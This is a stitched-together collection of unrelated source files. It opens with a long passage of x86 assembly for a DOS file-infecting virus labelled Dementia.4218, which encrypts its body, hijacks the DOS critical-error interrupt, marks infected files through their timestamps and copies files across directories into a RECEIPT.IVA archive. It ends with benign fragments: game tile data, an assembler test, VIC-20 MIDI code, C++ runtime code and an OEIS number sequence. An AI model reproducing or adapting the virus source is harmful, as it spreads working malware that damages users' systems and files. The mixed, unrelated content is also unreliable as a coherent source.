cld ; Clear direction flag
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov es,ax ; ES = segment of data buffer
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to data buffer
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
lea si,crypt_begin-02h ; SI = offset of crypt_end
mov di,si ; DI = " " "
mov cx,(crypt_begin-crypt_end-02h)/02h
std ; Set direction flag
encrypt_loop:
lodsw ; AX = word of plain code
xor ax,dx ; Encrypt word
stosw ; Store encrypted word
loop encrypt_loop
cld ; Clear direction flag
ret ; Return!
endp
int24_store proc near ; Get and set interrupt vector 24h
push bx dx ds es ; Save registers at stack
mov ax,3524h ; Get interrupt vector 24h
int 21h
mov word ptr cs:[int24_addr],bx
mov word ptr cs:[int24_addr+02h],es
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h
mov ax,2524h ; Set interrupt vector 24h
int 21h
pop es ds dx bx ; Load registers from stack
ret ; Return!
endp
int24_load proc near ; Set interrupt vector 24h
push dx ds ; Load registers from stack
mov dx,word ptr cs:[int24_addr]
mov ds,word ptr cs:[int24_addr+02h]
mov ax,2524h ; Set interrupt vector 24h
int 21h
pop ds dx ; Load registers from stack
ret ; Return!
endp
int24_virus proc near ; Interrupt 24h of Dementia.4218
mov al,03h ; Fail system call in progress
iret ; Interrupt return!
endp
calc_crc32 proc near ; Calculate CRC-32 checksum
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
add ax,40h ; AX = segment of CRC-32 table
mov es,ax ; ES = " " " "
xor di,di ; Zero DI
xor cx,cx ; Zero CX
gen_crc_tab:
xor dx,dx ; Zero DX
xor ax,ax ; Zero AX
mov al,cl ; AL = counter
push cx ; Save CX at stack
mov cx,08h ; Calculate each CRC-32 table entr...
gen_crc_loop:
clc ; Clear carry flag
rcr dx,01h ; Rotate DX through carry one bit ...
rcr ax,01h ; Rotate AX through carry one bit ...
jnc carry_loop ; No carry? Jump to carry_loop
xor dx,0edb8h ; DX = high-order word of CRC-32 t...
xor ax,8320h ; AX = low-order word of CRC-32 ta...
carry_loop:
loop gen_crc_loop
mov es:[di],ax ; Store low-order word of CRC-32 t...
mov es:[di+02h],dx ; Store high-order word of CRC-32 ...
add di,04h ; DI = offset of next CRC-32 table...
pop cx ; Load CX from stack
inc cx ; Increase count register
cmp cx,100h ; Generated enough CRC-32 table en...
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab
call set_pos_sof
mov dx,0ffffh ; DX = high-order word of CRC-32 c...
mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
read_block:
push ax dx ; Save registers at stack
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je calc_crc_xit ; Equal? Jump to calc_crc_xit
mov cx,ax ; CX = number of bytes actually read
pop dx ax ; Load registers from stack
xor si,si ; Zero SI
cal_crc_loop:
push bx cx ; Save registers at stack
xor bh,bh ; Zero BH
mov bl,[si] ; BL = byte of file
inc si ; Increase index register
xor bl,al ; Exclusive OR (XOR) byte of file ...
mov cl,02h
shl bx,cl ; Multiply by four
mov di,bx ; DI = offset of next CRC-32 table...
mov al,ah ; AL = low-order byte of low-order...
mov ah,dl ; AH = high-order byte of low-orde...
mov dl,dh ; DL = low-order byte of high-orde...
xor dh,dh ; Zero DH
mov bx,es:[di] ; BX = low-order word of CRC-32 ta...
xor ax,bx ; AX = low-order word of CRC-32 ch...
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
xor dx,bx ; DX = high-order word of CRC-32 c...
pop cx bx ; Load registers from stack
loop cal_crc_loop
jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack
xor dx,0ffffh ; DX = high-order word of CRC-32 c...
xor ax,0ffffh ; AX = low-order word of CRC-32 ch...
ret ; Return!
endp
create_recei proc near ; Create RECEIPT.IVA file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer
mov [bp-08h],ax ; Store number of file specifications
mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
mov [bp-02h],dx ; Store store or don't store backs...
mov [bp-06h],ds ; Store segment of file specificat...
mov ah,3bh ; Set current directory
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
int 21h
mov ax,[bp-08h] ; AX = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of file specifications
xor dx,dx ; Zero DX
find_first_:
mov ds,[bp-06h] ; DS = segment of file specification
push cx ; Save CX at stack
mov cx,0000000000000111b
call find_first
push dx ; Save DX at stack
jnc find_next_ ; No error? Jump to find_next_
jmp fnd_nxt_loop
nop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov dx,1eh ; DX = offset of filename
call open_file
mov [bp-12h],ax ; Store file handle of file within...
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call set_pos_eof
push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov ds,ax ; DS = segment of end of pathname
mov cx,40h ; Write sixty-four bytes
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
pop ds ; Load DS from stack
mov cx,0eh ; Write fourteen bytes
mov dx,1eh ; DX = offset of filename
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+4ch
mov ds,ax ; DS = segment of data buffer
mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_eof
mov ds:[00h],ax ; Store low-order word of filesize
mov ds:[02h],dx ; Store high-order word of filesize
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov cx,04h ; Write four bytes
call write_file
mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_sof
copy_file:
mov bx,[bp-12h] ; BX = file handle of file within ...
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt
mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file
call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop
jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack
add dx,0eh ; DX = offset of next file specifi...
dec cx ; Decrease count register
cmp cx,00h ; No more files?
je copy_name ; Equal? Jump to copy_name
jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,file_specifi ; DX = offset of file_specifi
nop
mov cx,0000000000010111b
call find_first
jc receip_exit ; Error? Jump to receip_exit
pop cx ; Load CX from stack
push cx ; Save CX at stack
jmp test_count
nop
found_dir:
push cx ; Save CX at stack
mov cx,01h ; Don't examine disk transfer area
test_count:
cmp cx,00h ; Examine disk transfer area?
je examine_dta ; Equal? Jump to examine_dta
call find_next
jc receipt_exit ; Error? Jump to receipt_exit
dec cx ; Decrease CX
jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov es,ax ; ES = segment of end of pathname
add ax,04h ; AX = segment of disk transfer area
mov ds,ax ; DS = " " " " "
mov si,15h ; SI = offset of attribute of file...
lodsb ; AL = attribute of file found
test al,00010000b ; Directory?
je found_dir ; Equal? Jump to found_dir
mov si,1eh ; SI = offset of filename
lodsb ; AL = byte of filename
cmp al,'.' ; Directory?
je found_dir ; Equal? Jump to found_dir
mov ax,[bp-02h] ; AX = store or don't store backslash
mov di,ax ; DI = offset of end of pathname
mov si,1eh ; SI = offset of filename
cmp al,01h ; Don't store backslash?
je copy_name_ ; Equal? Jump to copy_name_
mov al,'\' ; AL = backslash
stosb ; Store backslash
copy_name_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je store_zero ; Equal? Jump to store_zero
stosb ; Store byte of filename
jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
mov ax,[bp-08h] ; AX = number of file specifications
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov ds,[bp-06h] ; DS = segment of file specifictions
push cx ; Save CX at stack
call create_recei
pop cx ; Load CX from stack
mov ah,3bh ; Set current directory
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
mov di,[bp-02h] ; DI = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
int 21h
jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
open_file proc near ; Open file
mov ax,3dffh ; Open file
xor cx,cx ; CL = attribute mask of files to ...
int 21h
mov bx,ax ; BX = file handle
ret ; Return!
endp
close_file proc near ; Close file
mov ah,3eh ; Close file
int 21h
ret ; Return!
endp
find_first proc near ; Find first matching file
mov ax,4e00h ; Find first matching file
int 21h
ret ; Return!
endp
find_next proc near ; Find next matching file
mov ah,4fh ; Find next matching file
int 21h
ret ; Return!
endp
load_info proc near ; Get file's date and time
mov ax,5700h ; Get file's date and time
int 21h
mov [bp-04h],cx ; Store file time
mov [bp-02h],dx ; Store file date
ret ; Return!
endp
infect_mark proc near ; Infection mark
mov ax,5701h ; Set file's date and time
mov cx,[bp-04h] ; CX = file time
mov dx,[bp-02h] ; DX = file date
and cx,1111111111100000b
or cx,0000000000000001b
int 21h
ret ; Return!
endp
read_file proc near ; Read from file
xor dx,dx ; Zero DX
read_file_ proc near ; Read from file
mov ah,3fh ; Read from file
int 21h
ret ; Return!
endp
endp
create_file proc near ; Create file
mov ah,3ch ; Create file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor cx,cx ; CX = file attributes
int 21h
ret ; Return!
endp
write_file proc near ; Write to file
xor dx,dx ; Zero DX
write_file_ proc near ; Write to file
mov ah,40h ; Write to file
int 21h
ret ; Return!
endp
endp
set_pos_cfp proc near ; Set current file position (CFP)
mov ax,4201h ; Set current file position (CFP)
int 21h
ret ; Return!
endp
set_pos_eof proc near ; Set current file position (EOF)
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
cwd ; Zero DX
int 21h
ret ; Return!
endp
set_pos_sof proc near ; Set current file position (SOF)
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
set_pos_sof_ proc near ; Set current file position (SOF)
mov ax,4200h ; Set current file position (SOF)
int 21h
ret ; Return!
endp
endp
delete_file proc near ; Delete file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ah,41h ; Delete file
xor cx,cx ; CL = attribute mask for deletion
int 21h
ret ; Return!
endp
file_begin:
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "
xor di,di ; Zero DI
mov cx,7d0h ; Store four thousand bytes
mov ax,720h ; Black background color, light-gr...
rep stosw ; Overwrite text video RAM
xor di,di ; Zero DI
mov si,(ansi_begin-file_begin+100h)
mov cx,(ansi_end-ansi_begin)
nop
load_ansi:
lodsb ; AL = byte of ansi
cmp al,0ffh ; Write a string?
jne store_ansi ; Not equal? Jump to store_ansi
lodsb ; AL = byte of ansi
dec cx ; Derease count register
cmp al,0ffh ; Write a single character?
je store_ansi ; Equal? Jump to store_ansi
push cx si ds ; Save registers at stack
xor cx,cx ; Zero CX
mov cl,al ; CL = size of string
lodsb ; AL = byte of ansi
mov bl,al ; BL = low-order byte of offset of...
lodsb ; AL = byte of ansi
mov bh,al ; BH = high-order byte of offset o...
mov si,bx ; SI = offset of string within ansi
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
rep movsb ; Move string to text video RAM
pop ds si cx ; Load registers at stack
add si,02h ; Add two to index register
sub cx,02h ; Subtract two from count register
jmp ansi_loop
nop
nop
store_ansi:
stosb ; Store a byte of ansi
ansi_loop:
loop load_ansi
int 20h
ansi_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h
db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h
db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh
db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah
db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h
db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h
db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h
db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh
db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh
db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh
db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch
db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h
db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h
db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h
db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah
db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h
db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh
db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h
db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h
db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh
db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h
db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h
db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h
db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h
db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h
db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h
db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh
db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh
db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh
db 05h,6bh,0ah,20h,07h
ansi_end:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 'RECEIPT.IVA ',00h ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db 'Dementia]',00h
db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h
db 'I am the man that walks alone',0dh,0ah
db 'And when I''m walking a dark road',0dh,0ah
db 'At night or strolling through the park',0dh,0ah
db 'When the light begins to change',0dh,0ah
db 'I sometimes feel a little strange',0dh,0ah
db 'A little anxious when it''s dark',0dh,0ah,00h
crypt_begin:
code_end:
data_end:
end code_begin
|
tilecoll WALL, WALL, WALL, WALL ; 00
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01
tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 02
tilecoll WALL, WALL, WALL, WALL ; 03
tilecoll WALL, WALL, BOOKSHELF, BOOKSHELF ; 04
tilecoll WALL, WALL, FLOOR, FLOOR ; 05
tilecoll FLOOR, FLOOR, WALL, WALL ; 06
tilecoll FLOOR, FLOOR, WALL, WALL ; 07
tilecoll WALL, WALL, WALL, WALL ; 08
tilecoll WINDOW, WALL, FLOOR, FLOOR ; 09
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0a
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0b
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0c
tilecoll WALL, WALL, FLOOR, FLOOR ; 0d
tilecoll FLOOR, FLOOR, FLOOR, WARP_CARPET_DOWN ; 0e
tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, FLOOR ; 0f
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 10
tilecoll WALL, WALL, FLOOR, FLOOR ; 11
tilecoll WALL, WALL, FLOOR, FLOOR ; 12
tilecoll WALL, WALL, FLOOR, FLOOR ; 13
tilecoll WALL, WALL, BOOKSHELF, BOOKSHELF ; 14
tilecoll FLOOR, WALL, FLOOR, FLOOR ; 15
tilecoll WALL, WALL, FLOOR, FLOOR ; 16
tilecoll WALL, WALL, WALL, WALL ; 17
tilecoll WALL, WALL, FLOOR, FLOOR ; 18
tilecoll FLOOR, LADDER, FLOOR, FLOOR ; 19
tilecoll FLOOR, WALL, FLOOR, WALL ; 1a
tilecoll WALL, FLOOR, WALL, FLOOR ; 1b
tilecoll WALL, WALL, FLOOR, FLOOR ; 1c
tilecoll WALL, FLOOR, WALL, FLOOR ; 1d
tilecoll FLOOR, WALL, FLOOR, WALL ; 1e
tilecoll FLOOR, FLOOR, WALL, WALL ; 1f
tilecoll WINDOW, WINDOW, FLOOR, FLOOR ; 20
tilecoll FLOOR, FLOOR, WALL, WALL ; 21
tilecoll WALL, WALL, WALL, WALL ; 22
tilecoll WALL, WALL, WALL, WALL ; 23
tilecoll WALL, WALL, WALL, WALL ; 24
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 25
tilecoll WALL, WALL, WALL, WALL ; 26
tilecoll WALL, WALL, WALL, WALL ; 27
tilecoll WALL, WALL, WALL, WALL ; 28
tilecoll WALL, WALL, FLOOR, FLOOR ; 29
tilecoll WALL, WALL, FLOOR, FLOOR ; 2a
tilecoll WALL, WALL, FLOOR, FLOOR ; 2b
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2c
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2d
tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 2e
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2f
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 30
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 31
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 32
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 33
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 34
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 35
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 36
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 37
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 38
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 39
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3a
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3b
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3c
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3d
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3e
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3f
|
BITS 32
; Simple
jmp foo
times 124 nop
foo:
; Must start short to converge optimally
jmp car
times 127 nop
car:
; Always near
jmp cdr
times 128 nop
cdr:
; Simple
add eax, quux2 - quux1
quux1:
times 127 nop
quux2:
; Must start short
corge1:
add eax, corge2 - corge1
times 127 - 3 nop
corge2:
; Simple
lea eax, [bolug2-bolug1]
bolug1:
times 127 nop
bolug2:
; Must start short
calog1:
lea eax, [calog2-calog1]
times 127 - 3 nop
calog2:
; Simple
lea eax, [eax+dolug2-dolug1]
dolug1:
times 127 nop
dolug2:
; Must start short
ealog1:
lea eax, [eax+ealog2-ealog1]
times 127 - 3 nop
ealog2:
; Must stay long!
lea eax, [eax+folug2-folug1]
folug1:
times 128 nop
folug2:
; Must stay long!
galog1:
lea eax, [eax+galog2-galog1]
times 128 - 3 nop
galog2:
; Sbyte tests...
onetwentysix equ 126
onetwentynine equ 129
add eax,onetwentyseven ; sbyte (forward)
add eax,onetwentyeight ; not sbyte (forward)
add eax,onetwentyseven ; sbyte (forward)
add eax,onetwentysix ; sbyte (backward)
add eax,onetwentynine ; not sbyte (backward)
add ecx,onetwentyseven ; sbyte (forward)
add ecx,onetwentyeight ; not sbyte (forward)
add ecx,onetwentyseven ; sbyte (forward)
add ecx,onetwentysix ; sbyte (backward)
add ecx,onetwentynine ; not sbyte (backward)
onetwentyseven equ 127
onetwentyeight equ 128
; Simple
add eax, holug2-holug1
holug1:
times 127 nop
holug2:
; Must start short
ialog1:
add eax, ialog2-ialog1
times 127 - 3 nop
ialog2:
; Do not confuse forward references and segmentless addresses!
jmp 12345
|
; ========================================
; Project : MIDI KEYS
; Target : Commodore VIC 20
; Comments : note calculator and player routines
; Author : Ryan Liston
; ========================================
;CLACULATE NOTE (a contains base note)
player$
clc
adc tran_reg$ ;add transpose value
sta cur_note$ ;store as current note
ldx oct_reg$ ;load x with octave register
lda oct_inc$,x ;load a with octave value
clc
adc cur_note$ ;add octave value to current note value
sta cur_note$ ;store as current note value
arp_con$
ldx arp_count$ ;load x w/ arp counter
lda arp_string$,x ;load a with arp increment
clc
adc cur_note$ ;add to current note
sta cur_note$ ;store as current note
;ARP TIMER AND COUNTER
jsr _rdtim$ ;check jiffy clock
cmp arp_time$ ;compare to arp speed
bcc play_note$ ;if <= then jump to retrigger
beq play_note$
lda #0 ;else...
tax
tay ;..if >=
jsr _setim$ ;reset jiffy clock
lda arp_reg$ ;load a with arp length
cmp arp_count$ ;compare to arp counter
bne a_count$ ; if != jump to a_count$
lda #0 ; else if =
sta arp_count$ ; reset arp counter
jmp play_note$ ;jump to retrigger
a_count$
inc arp_count$ ;increment arp counter
;PLAY NOTE
play_note$
lda cur_note$ ;if current note
cmp off_reg$ ;=off_reg$
beq on_pass$ ;bypass routine to continue the current note.
pha ;store current note in the stack
retrigger$
lda ret_reg$ ;if retrigger is on
bne ret_on$ ;branch to ret_on$
pla ;pull current note from the stack
jmp trigger$ ;else jump to note trigger
ret_on$
pla
pha
jsr trig_off$ ;jump to subroutine @ trig_off$
pla
sta prv_note$ ;set current note to previous note
trigger$
tax
ldy vel_reg$ ; load y with velocity
jsr NOTEON ;play note
lda ret_reg$ ;if retrigger is on
bne on_pass$ ;jump to end of routine
ret_off$
lda cur_note$ ;load current note
pha ;save to stack
jsr trig_off$ ;jump to subroutine @ trig_off$
pla ;pull current note from the stack
sta prv_note$ ;store as previous note
on_pass$
jmp loop_0$ ;return to control routine
;===============================================================================
|
#include "IncludeGuards.h"
#include "OtherLib.h"
int main()
{
my_function();
my_function_wrapped();
return 0;
} |
/*-----------------------------------------------------------------------*
* filename - new.cpp
* C++ new
*-----------------------------------------------------------------------*/
/*
* C/C++ Run Time Library - Version 10.0
*
* Copyright (c) 1998, 2000 by Inprise Corporation
* All Rights Reserved.
*
*/
/* $Revision: 9.4 $ */
#include <stddef.h>
#include <new>
#include <stdlib.h>
#include <exception>
using namespace std;
extern new_handler _new_handler;
extern std::bad_alloc __bad_alloc;
namespace std {
new_handler _RTLENTRY _EXPFUNC set_new_handler(new_handler p)
{
new_handler t = _new_handler;
_new_handler = p;
return t;
}
} // std
void * _RTLENTRY _EXPFUNC operator new( size_t size )
{
void * p;
size = size ? size : 1;
/* FDIS 18.4.1.1 (3,4) now require new to throw bad_alloc if the
most recent call to set_new_handler was passed NULL.
To ensure no exception throwing, use the forms of new that take a
nothrow_t, as they will call straight to malloc().
*/
while ( (p = malloc(size)) == NULL)
if (_new_handler)
_new_handler();
else
#if !defined(NOXX)
throw __bad_alloc;
#else
/* This is illegal according to ANSI, but if we've compiled the
RTL without exception support we had better just return NULL.
*/
break;
#endif
return p;
}
|
; A017754: Binomial coefficients C(n,90).
; 1,91,4186,129766,3049501,57940519,927048304,12846240784,157366449604,1731030945644,17310309456440,158940114100040,1350990969850340,10704005376506540,79515468511191440,556608279578340080,3687529852206503030,23209746716829166130,139258480300974996780,798903913305593402580,4393971523180763714190,23225278051098322489290,118237779169227823581840,580907349831423654989040,2759309911699262361197940,12692825593816606861510524,56629529572412553689816184,245394628147121065989203464,1034163075762867349525928884,4243634690199352227365018524,16974538760797408909460074096,66255457743757628324021579536,252598932648075957985332271981,941505112597374025218056650111,3433724528296305268442324253346,12263301886772518815865443761950,42921556603703815855529053166825,147325342937037421990599723032075,496253786735283947757809593371200,1641454833047477673352754808843200